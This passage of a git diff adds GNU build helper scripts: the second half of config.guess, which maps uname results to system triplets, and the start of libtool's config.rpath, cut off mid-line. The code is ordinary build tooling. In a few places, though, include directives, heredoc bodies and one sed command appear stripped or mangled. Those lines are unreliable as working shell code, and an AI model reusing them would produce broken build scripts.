LIBCABI=gnuabi64 + #else + #if ${IS_GLIBC} && defined(_ABIN32) + LIBCABI=gnuabin32 + #else + LIBCABI=${LIBC} + #endif + #endif + + #if ${IS_GLIBC} && defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 + CPU=mipsisa64r6 + #else + #if ${IS_GLIBC} && !defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 + CPU=mipsisa32r6 + #else + #if defined(__mips64) + CPU=mips64 + #else + CPU=mips + #endif + #endif + #endif + + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + MIPS_ENDIAN=el + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + MIPS_ENDIAN= + #else + MIPS_ENDIAN= + #endif + #endif +EOF + cc_set_vars=`$CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^CPU\|^MIPS_ENDIAN\|^LIBCABI'` + eval "$cc_set_vars" + test "x$CPU" != x && { echo "$CPU${MIPS_ENDIAN}-unknown-linux-$LIBCABI"; exit; } + ;; + mips64el:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + openrisc*:Linux:*:*) + GUESS=or1k-unknown-linux-$LIBC + ;; + or32:Linux:*:* | or1k*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + padre:Linux:*:*) + GUESS=sparc-unknown-linux-$LIBC + ;; + parisc64:Linux:*:* | hppa64:Linux:*:*) + GUESS=hppa64-unknown-linux-$LIBC + ;; + parisc:Linux:*:* | hppa:Linux:*:*) + # Look for CPU level + case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in + PA7*) GUESS=hppa1.1-unknown-linux-$LIBC ;; + PA8*) GUESS=hppa2.0-unknown-linux-$LIBC ;; + *) GUESS=hppa-unknown-linux-$LIBC ;; + esac + ;; + ppc64:Linux:*:*) + GUESS=powerpc64-unknown-linux-$LIBC + ;; + ppc:Linux:*:*) + GUESS=powerpc-unknown-linux-$LIBC + ;; + ppc64le:Linux:*:*) + GUESS=powerpc64le-unknown-linux-$LIBC + ;; + ppcle:Linux:*:*) + GUESS=powerpcle-unknown-linux-$LIBC + ;; + riscv32:Linux:*:* | riscv32be:Linux:*:* | riscv64:Linux:*:* | riscv64be:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + s390:Linux:*:* | s390x:Linux:*:*) + GUESS=$UNAME_MACHINE-ibm-linux-$LIBC + ;; + sh64*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + sh*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + sparc:Linux:*:* | sparc64:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + tile*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + vax:Linux:*:*) + GUESS=$UNAME_MACHINE-dec-linux-$LIBC + ;; + x86_64:Linux:*:*) + set_cc_for_build + LIBCABI=$LIBC + if test "$CC_FOR_BUILD" != no_compiler_found; then + if (echo '#ifdef __ILP32__'; echo IS_X32; echo '#endif') | \ + (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ + grep IS_X32 >/dev/null + then + LIBCABI=${LIBC}x32 + fi + fi + GUESS=$UNAME_MACHINE-pc-linux-$LIBCABI + ;; + xtensa*:Linux:*:*) + GUESS=$UNAME_MACHINE-unknown-linux-$LIBC + ;; + i*86:DYNIX/ptx:4*:*) + # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. + # earlier versions are messed up and put the nodename in both + # sysname and nodename. + GUESS=i386-sequent-sysv4 + ;; + i*86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + GUESS=$UNAME_MACHINE-pc-sysv4.2uw$UNAME_VERSION + ;; + i*86:OS/2:*:*) + # If we were able to find `uname', then EMX Unix compatibility + # is probably installed. + GUESS=$UNAME_MACHINE-pc-os2-emx + ;; + i*86:XTS-300:*:STOP) + GUESS=$UNAME_MACHINE-unknown-stop + ;; + i*86:atheos:*:*) + GUESS=$UNAME_MACHINE-unknown-atheos + ;; + i*86:syllable:*:*) + GUESS=$UNAME_MACHINE-pc-syllable + ;; + i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) + GUESS=i386-unknown-lynxos$UNAME_RELEASE + ;; + i*86:*DOS:*:*) + GUESS=$UNAME_MACHINE-pc-msdosdjgpp + ;; + i*86:*:4.*:*) + UNAME_REL=`echo "$UNAME_RELEASE" | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + GUESS=$UNAME_MACHINE-univel-sysv$UNAME_REL + else + GUESS=$UNAME_MACHINE-pc-sysv$UNAME_REL + fi + ;; + i*86:*:5:[678]*) + # UnixWare 7.x, OpenUNIX and OpenServer 6. + case `/bin/uname -X | grep "^Machine"` in + *486*) UNAME_MACHINE=i486 ;; + *Pentium) UNAME_MACHINE=i586 ;; + *Pent*|*Celeron) UNAME_MACHINE=i686 ;; + esac + GUESS=$UNAME_MACHINE-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} + ;; + i*86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` + (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + GUESS=$UNAME_MACHINE-pc-sco$UNAME_REL + else + GUESS=$UNAME_MACHINE-pc-sysv32 + fi + ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i586. + # Note: whatever this is, it MUST be the same as what config.sub + # prints for the "djgpp" host, or else GDB configure will decide that + # this is a cross-build. + GUESS=i586-pc-msdosdjgpp + ;; + Intel:Mach:3*:*) + GUESS=i386-pc-mach3 + ;; + paragon:*:*:*) + GUESS=i860-intel-osf1 + ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + GUESS=i860-stardent-sysv$UNAME_RELEASE # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + GUESS=i860-unknown-sysv$UNAME_RELEASE # Unknown i860-SVR4 + fi + ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + GUESS=m68010-convergent-sysv + ;; + mc68k:UNIX:SYSTEM5:3.51m) + GUESS=m68k-convergent-sysv + ;; + M680?0:D-NIX:5.3:*) + GUESS=m68k-diab-dnix + ;; + M68*:*:R3V[5678]*:*) + test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; + 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && { echo i486-ncr-sysv4; exit; } ;; + NCR*:*:4.2:* | MPRAS*:*:4.2:*) + OS_REL='.3' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } + /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ + && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; + m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) + GUESS=m68k-unknown-lynxos$UNAME_RELEASE + ;; + mc68030:UNIX_System_V:4.*:*) + GUESS=m68k-atari-sysv4 + ;; + TSUNAMI:LynxOS:2.*:*) + GUESS=sparc-unknown-lynxos$UNAME_RELEASE + ;; + rs6000:LynxOS:2.*:*) + GUESS=rs6000-unknown-lynxos$UNAME_RELEASE + ;; + PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) + GUESS=powerpc-unknown-lynxos$UNAME_RELEASE + ;; + SM[BE]S:UNIX_SV:*:*) + GUESS=mips-dde-sysv$UNAME_RELEASE + ;; + RM*:ReliantUNIX-*:*:*) + GUESS=mips-sni-sysv4 + ;; + RM*:SINIX-*:*:*) + GUESS=mips-sni-sysv4 + ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + GUESS=$UNAME_MACHINE-sni-sysv4 + else + GUESS=ns32k-sni-sysv + fi + ;; + PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + GUESS=i586-unisys-sysv4 + ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + GUESS=hppa1.1-stratus-sysv4 + ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + GUESS=i860-stratus-sysv4 + ;; + i*86:VOS:*:*) + # From Paul.Green@stratus.com. + GUESS=$UNAME_MACHINE-stratus-vos + ;; + *:VOS:*:*) + # From Paul.Green@stratus.com. + GUESS=hppa1.1-stratus-vos + ;; + mc68*:A/UX:*:*) + GUESS=m68k-apple-aux$UNAME_RELEASE + ;; + news*:NEWS-OS:6*:*) + GUESS=mips-sony-newsos6 + ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if test -d /usr/nec; then + GUESS=mips-nec-sysv$UNAME_RELEASE + else + GUESS=mips-unknown-sysv$UNAME_RELEASE + fi + ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + GUESS=powerpc-be-beos + ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + GUESS=powerpc-apple-beos + ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + GUESS=i586-pc-beos + ;; + BePC:Haiku:*:*) # Haiku running on Intel PC compatible. + GUESS=i586-pc-haiku + ;; + x86_64:Haiku:*:*) + GUESS=x86_64-unknown-haiku + ;; + SX-4:SUPER-UX:*:*) + GUESS=sx4-nec-superux$UNAME_RELEASE + ;; + SX-5:SUPER-UX:*:*) + GUESS=sx5-nec-superux$UNAME_RELEASE + ;; + SX-6:SUPER-UX:*:*) + GUESS=sx6-nec-superux$UNAME_RELEASE + ;; + SX-7:SUPER-UX:*:*) + GUESS=sx7-nec-superux$UNAME_RELEASE + ;; + SX-8:SUPER-UX:*:*) + GUESS=sx8-nec-superux$UNAME_RELEASE + ;; + SX-8R:SUPER-UX:*:*) + GUESS=sx8r-nec-superux$UNAME_RELEASE + ;; + SX-ACE:SUPER-UX:*:*) + GUESS=sxace-nec-superux$UNAME_RELEASE + ;; + Power*:Rhapsody:*:*) + GUESS=powerpc-apple-rhapsody$UNAME_RELEASE + ;; + *:Rhapsody:*:*) + GUESS=$UNAME_MACHINE-apple-rhapsody$UNAME_RELEASE + ;; + arm64:Darwin:*:*) + GUESS=aarch64-apple-darwin$UNAME_RELEASE + ;; + *:Darwin:*:*) + UNAME_PROCESSOR=`uname -p` + case $UNAME_PROCESSOR in + unknown) UNAME_PROCESSOR=powerpc ;; + esac + if command -v xcode-select > /dev/null 2> /dev/null && \ + ! xcode-select --print-path > /dev/null 2> /dev/null ; then + # Avoid executing cc if there is no toolchain installed as + # cc will be a stub that puts up a graphical alert + # prompting the user to install developer tools. + CC_FOR_BUILD=no_compiler_found + else + set_cc_for_build + fi + if test "$CC_FOR_BUILD" != no_compiler_found; then + if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ + (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ + grep IS_64BIT_ARCH >/dev/null + then + case $UNAME_PROCESSOR in + i386) UNAME_PROCESSOR=x86_64 ;; + powerpc) UNAME_PROCESSOR=powerpc64 ;; + esac + fi + # On 10.4-10.6 one might compile for PowerPC via gcc -arch ppc + if (echo '#ifdef __POWERPC__'; echo IS_PPC; echo '#endif') | \ + (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ + grep IS_PPC >/dev/null + then + UNAME_PROCESSOR=powerpc + fi + elif test "$UNAME_PROCESSOR" = i386 ; then + # uname -m returns i386 or x86_64 + UNAME_PROCESSOR=$UNAME_MACHINE + fi + GUESS=$UNAME_PROCESSOR-apple-darwin$UNAME_RELEASE + ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + UNAME_PROCESSOR=`uname -p` + if test "$UNAME_PROCESSOR" = x86; then + UNAME_PROCESSOR=i386 + UNAME_MACHINE=pc + fi + GUESS=$UNAME_PROCESSOR-$UNAME_MACHINE-nto-qnx$UNAME_RELEASE + ;; + *:QNX:*:4*) + GUESS=i386-pc-qnx + ;; + NEO-*:NONSTOP_KERNEL:*:*) + GUESS=neo-tandem-nsk$UNAME_RELEASE + ;; + NSE-*:NONSTOP_KERNEL:*:*) + GUESS=nse-tandem-nsk$UNAME_RELEASE + ;; + NSR-*:NONSTOP_KERNEL:*:*) + GUESS=nsr-tandem-nsk$UNAME_RELEASE + ;; + NSV-*:NONSTOP_KERNEL:*:*) + GUESS=nsv-tandem-nsk$UNAME_RELEASE + ;; + NSX-*:NONSTOP_KERNEL:*:*) + GUESS=nsx-tandem-nsk$UNAME_RELEASE + ;; + *:NonStop-UX:*:*) + GUESS=mips-compaq-nonstopux + ;; + BS2000:POSIX*:*:*) + GUESS=bs2000-siemens-sysv + ;; + DS/*:UNIX_System_V:*:*) + GUESS=$UNAME_MACHINE-$UNAME_SYSTEM-$UNAME_RELEASE + ;; + *:Plan9:*:*) + # "uname -m" is not consistent, so use $cputype instead. 386 + # is converted to i386 for consistency with other x86 + # operating systems. + if test "${cputype-}" = 386; then + UNAME_MACHINE=i386 + elif test "x${cputype-}" != x; then + UNAME_MACHINE=$cputype + fi + GUESS=$UNAME_MACHINE-unknown-plan9 + ;; + *:TOPS-10:*:*) + GUESS=pdp10-unknown-tops10 + ;; + *:TENEX:*:*) + GUESS=pdp10-unknown-tenex + ;; + KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) + GUESS=pdp10-dec-tops20 + ;; + XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) + GUESS=pdp10-xkl-tops20 + ;; + *:TOPS-20:*:*) + GUESS=pdp10-unknown-tops20 + ;; + *:ITS:*:*) + GUESS=pdp10-unknown-its + ;; + SEI:*:*:SEIUX) + GUESS=mips-sei-seiux$UNAME_RELEASE + ;; + *:DragonFly:*:*) + DRAGONFLY_REL=`echo "$UNAME_RELEASE" | sed -e 's/[-(].*//'` + GUESS=$UNAME_MACHINE-unknown-dragonfly$DRAGONFLY_REL + ;; + *:*VMS:*:*) + UNAME_MACHINE=`(uname -p) 2>/dev/null` + case $UNAME_MACHINE in + A*) GUESS=alpha-dec-vms ;; + I*) GUESS=ia64-dec-vms ;; + V*) GUESS=vax-dec-vms ;; + esac ;; + *:XENIX:*:SysV) + GUESS=i386-pc-xenix + ;; + i*86:skyos:*:*) + SKYOS_REL=`echo "$UNAME_RELEASE" | sed -e 's/ .*$//'` + GUESS=$UNAME_MACHINE-pc-skyos$SKYOS_REL + ;; + i*86:rdos:*:*) + GUESS=$UNAME_MACHINE-pc-rdos + ;; + i*86:Fiwix:*:*) + GUESS=$UNAME_MACHINE-pc-fiwix + ;; + *:AROS:*:*) + GUESS=$UNAME_MACHINE-unknown-aros + ;; + x86_64:VMkernel:*:*) + GUESS=$UNAME_MACHINE-unknown-esx + ;; + amd64:Isilon\ OneFS:*:*) + GUESS=x86_64-unknown-onefs + ;; + *:Unleashed:*:*) + GUESS=$UNAME_MACHINE-unknown-unleashed$UNAME_RELEASE + ;; +esac + +# Do we have a guess based on uname results? +if test "x$GUESS" != x; then + echo "$GUESS" + exit +fi + +# No uname command or uname output not recognized. +set_cc_for_build +cat > "$dummy.c" < +#include +#endif +#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) +#if defined (vax) || defined (__vax) || defined (__vax__) || defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) +#include +#if defined(_SIZE_T_) || defined(SIGLOST) +#include +#endif +#endif +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); +#endif + +#if defined (vax) +#if !defined (ultrix) +#include +#if defined (BSD) +#if BSD == 43 + printf ("vax-dec-bsd4.3\n"); exit (0); +#else +#if BSD == 199006 + printf ("vax-dec-bsd4.3reno\n"); exit (0); +#else + printf ("vax-dec-bsd\n"); exit (0); +#endif +#endif +#else + printf ("vax-dec-bsd\n"); exit (0); +#endif +#else +#if defined(_SIZE_T_) || defined(SIGLOST) + struct utsname un; + uname (&un); + printf ("vax-dec-ultrix%s\n", un.release); exit (0); +#else + printf ("vax-dec-ultrix\n"); exit (0); +#endif +#endif +#endif +#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) +#if defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) +#if defined(_SIZE_T_) || defined(SIGLOST) + struct utsname *un; + uname (&un); + printf ("mips-dec-ultrix%s\n", un.release); exit (0); +#else + printf ("mips-dec-ultrix\n"); exit (0); +#endif +#endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null && SYSTEM_NAME=`"$dummy"` && + { echo "$SYSTEM_NAME"; exit; } + +# Apollos put the system type in the environment. +test -d /usr/apollo && { echo "$ISP-apollo-$SYSTYPE"; exit; } + +echo "$0: unable to guess system type" >&2 + +case $UNAME_MACHINE:$UNAME_SYSTEM in + mips:Linux | mips64:Linux) + # If we got here on MIPS GNU/Linux, output extra information. + cat >&2 <&2 <&2 </dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = "$UNAME_MACHINE" +UNAME_RELEASE = "$UNAME_RELEASE" +UNAME_SYSTEM = "$UNAME_SYSTEM" +UNAME_VERSION = "$UNAME_VERSION" +EOF +fi + +exit 1 + +# Local variables: +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/build-aux/config.rpath b/build-aux/config.rpath new file mode 100755 index 00000000..1e2595ff --- /dev/null +++ b/build-aux/config.rpath @@ -0,0 +1,684 @@ +#! /bin/sh +# Output a system dependent set of variables, describing how to set the +# run time search path of shared libraries in an executable. +# +# Copyright 1996-2023 Free Software Foundation, Inc. +# Taken from GNU libtool, 2001 +# Originally by Gordon Matzigkeit , 1996 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. +# +# The first argument passed to this file is the canonical host specification, +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# The environment variables CC, GCC, LDFLAGS, LD, with_gnu_ld +# should be set by the caller. +# +# The set of defined variables is at the end of this script. + +# Known limitations: +# - On IRIX 6.5 with CC="cc", the run time search patch must not be longer +# than 256 bytes, otherwise the compiler driver will dump core. The only +# known workaround is to choose shorter directory names for the build +# directory and/or the installation directory. + +# All known linkers require a '.a' archive for static linking (except MSVC, +# which needs '.lib'). +libext=a +shrext=.so + +host="$1" +host_cpu=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` +host_vendor=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` +host_os=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` + +# Code taken from libtool.m4's _LT_CC_BASENAME. + +for cc_temp in $CC""; do + case $cc_temp in + compile | *[\\/]compile | ccache | *[\\/]ccache ) ;; + distcc | *[\\/]distcc | purify | *[\\/]purify ) ;; + \-*) ;; + *) break;; + esac +done +cc_basename=`echo "$cc_temp" | sed -e 's%^.*/%%'` + +# Code taken from libtool.m4's _LT_COMPILER_PIC. + +wl= +if test "$GCC" = yes; then + wl='-Wl,' +else + case "$host_os" in + aix*) + wl='-Wl,' + ;; + mingw* | cygwin* | pw32* | os2* | cegcc*) + ;; + hpux9* | hpux10* | hpux11*) + wl='-Wl,' + ;; + irix5* | irix6* | nonstopux*) + wl='-Wl,' + ;; + linux* | k*bsd*-gnu | kopensolaris*-gnu) + case $cc_basename in + ecc*) + wl='-Wl,' + ;; + icc* | ifort*) + wl='-Wl,' + ;; + lf95*) + wl='-Wl,' + ;; + nagfor*) + wl='-Wl,-Wl,,' + ;; + pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*) + wl='-Wl,' + ;; + ccc*) + wl='-Wl,' + ;; + xl* | bgxl* | bgf* | mpixl*) + wl='-Wl,' + ;; + como) + wl='-lopt=' + ;; + *) + case `$CC -V 2>&1 | sed 5q` in + *Sun\ F* | *Sun*Fortran*) + wl= + ;; + *Sun\ C*) + wl='-Wl,' + ;; + esac + ;; + esac + ;; + newsos6) + ;; + *nto* | *qnx*) + ;; + osf3* | osf4* | osf5*) + wl='-Wl,' + ;; + rdos*) + ;; + solaris*) + case $cc_basename in + f77* | f90* | f95* | sunf77* | sunf90* | sunf95*) + wl='-Qoption ld ' + ;; + *) + wl='-Wl,' + ;; + esac + ;; + sunos4*) + wl='-Qoption ld ' + ;; + sysv4 | sysv4.2uw2* | sysv4.3*) + wl='-Wl,' + ;; + sysv4*MP*) + ;; + sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) + wl='-Wl,' + ;; + unicos*) + wl='-Wl,' + ;; + uts4*) + ;; + esac +fi + +# Code taken from libtool.m4's _LT_LINKER_SHLIBS. + +hardcode_libdir_flag_spec= +hardcode_libdir_separator= +hardcode_direct=no +hardcode_minus_L=no + +case "$host_os" in + cygwin* | mingw* | pw32* | cegcc*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + interix*) + # we just hope/assume this is gcc and not c89 (= MSVC++) + with_gnu_ld=yes + ;; + openbsd*) + with_gnu_ld=no + ;; +esac + +ld_shlibs=yes +if test "$with_gnu_ld" = yes; then + # Set some defaults for GNU ld with shared library support. These + # are reset later if shared libraries are not supported. Putting them + # here allows them to be overridden if necessary. + # Unlike libtool, we use -rpath here, not --rpath, since the documented + # option of GNU ld is called -rpath, not --rpath. + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + case "$host_os" in + aix[3-9]*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs=no + fi + ;; + amigaos*) + case "$host_cpu" in + powerpc) + ;; + m68k) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + esac + ;; + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + : + else + ld_shlibs=no + fi + ;; + cygwin* | mingw* | pw32* | cegcc*) + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec='-L$libdir' + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + : + else + ld_shlibs=no + fi + ;; + haiku*) + ;; + interix[3-9]*) + hardcode_direct=no + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + ;; + gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + : + else + ld_shlibs=no + fi + ;; + netbsd*) + ;; + solaris*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs=no + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + : + else + ld_shlibs=no + fi + ;; + sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) + case `$LD -v 2>&1` in + *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*) + ld_shlibs=no + ;; + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`' + else + ld_shlibs=no + fi + ;; + esac + ;; + sunos4*) + hardcode_direct=yes + ;; + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + : + else + ld_shlibs=no + fi + ;; + esac + if test "$ld_shlibs" = no; then + hardcode_libdir_flag_spec= + fi +else + case "$host_os" in + aix3*) + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L=yes + if test "$GCC" = yes; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct=unsupported + fi + ;; + aix[4-9]*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + else + aix_use_runtimelinking=no + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix[5-9]*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + ;; + esac + fi + hardcode_direct=yes + hardcode_libdir_separator=':' + if test "$GCC" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + : + else + # We have old collect2 + hardcode_direct=unsupported + hardcode_minus_L=yes + hardcode_libdir_flag_spec='-L$libdir' + hardcode_libdir_separator= + fi + ;; + esac + fi + # Begin _LT_AC_SYS_LIBPATH_AIX. + echo 'int main () { return 0; }' > conftest.c + ${CC} ${LDFLAGS} conftest.c -o conftest + aix_libpath=`dump -H conftest 2>/dev/null | sed -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; 